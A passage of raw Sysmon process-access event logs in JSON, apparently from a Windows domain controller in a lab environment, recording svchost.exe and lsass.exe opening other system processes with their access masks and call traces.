11:49:40.297","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+1671d|c:\\windows\\system32\\lsm.dll+23c39|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+d69b2|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":877,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.313\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.313","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":878,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.313\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.313","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":879,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.313\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.313","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":880,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.313\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.313","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":881,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.313\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.313","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":882,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.313\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.313","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":883,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.313\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.313","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":884,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.313\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 